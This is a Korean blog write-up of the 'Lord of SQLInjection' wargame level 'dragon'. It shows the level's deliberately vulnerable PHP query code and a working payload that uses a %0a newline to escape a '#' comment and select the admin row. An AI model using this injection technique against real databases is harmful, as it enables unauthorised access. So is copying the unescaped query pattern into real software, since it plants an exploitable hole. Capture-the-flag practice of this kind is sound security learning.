LOS #20 dragon
Lord of SQLInjection
los.rubiya.kr
Source code
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("dragon");
highlight_file(__FILE__);
?>
Query
select id from prob_dragon where id='guest'# and pw=''
Write-up
위 사진에서 확인할 수 있는 정보는 다음과 같다.
-
파라미터는 pw 1개가 사용될 수 있다.
-
쿼리문을 보면 id 값 뒤에 "#" 주석이 붙어 있다.
마지막 if문을 보면 id 값이 'admin'일 때 문제가 풀린다. 하지만 쿼리문에서 id 값이 'guest'로 고정되어 있고 주석이 있기 때문에 pw 값에 "' or id='admin'" 값을 전달해도 주석처리 되버린다. 기본적으로 쿼리는 세미콜론을 만날 때까지 수행되는데 주석으로 인해 "and pw=''" 구문이 무시되고 있는 상태이다. 이 때 개행 처리를 통해 2번째 line에 추가 쿼리문을 작성할 수 있다.
* ascii code 개행 처리 %0a
ASCII - 위키백과, 우리 모두의 백과사전
위키백과, 우리 모두의 백과사전. 1972 프린터 사용 설명서에 개시된 아스키 코드 차트표 미국정보교환표준부호(영어: American Standard Code for Information Interchange), 또는 줄여서 ASCII( , 아스키)는 영문
ko.wikipedia.org
먼저, 빨간색 박스에서 id 값으로 'guest'를 전달하고 첫 번쨰 line에서 주석처리를 하였다. 주석으로 인해 첫 번째 line의 세미콜론은 무력화되기 때문에 두 번째 line을 입력해야 한다. 이 때 'guest' id에 해당하는 pw 값을 전달해주니 select가 성공하는 것을 확인할 수 있다. 주석으로 인해 전달되는 쿼리문은 다음과 같다.
select id from prob_dragon where id='guest' and pw='qwer1234';
파란색 박스에서는 빨간색 박스와 다르게 'guest' id에 해당하는 pw 값을 입력하지 않았다. select 결과가 없음을 확인할 수 있고, 주석으로 인해 전달되는 쿼리문은 다음과 같다.
select id from prob_dragon where id='guest' and pw='';
초록색 박스에서는 'guest' id에 해당하는 pw 값을 입력하지 않음으로써 거짓으로 만들고 or 명령어로 id가 'admin'일 때의 결과를 select 한다. 쿼리문은 다음과 같다.
select id from prob_dragon where id='guest' and pw='' or id='admin';
Parameter
pw=' %0a and pw='' or id='admin
쿼리문은 다음과 같다. %0a로 인해 개행 처리가 된다.
select id from prob_dragon where id='guest'# and pw='' %0a and pw='' or id='admin'
Success
'Wargame > LOS' 카테고리의 다른 글
LOS #22 dark_eyes (0) | 2020.12.09 |
---|---|
LOS #21 iron_golem (0) | 2020.12.08 |
LOS #19 xavis (0) | 2020.10.28 |
LOS #18 nightmare (0) | 2020.10.28 |
LOS #17 zombie_assassin (0) | 2020.10.28 |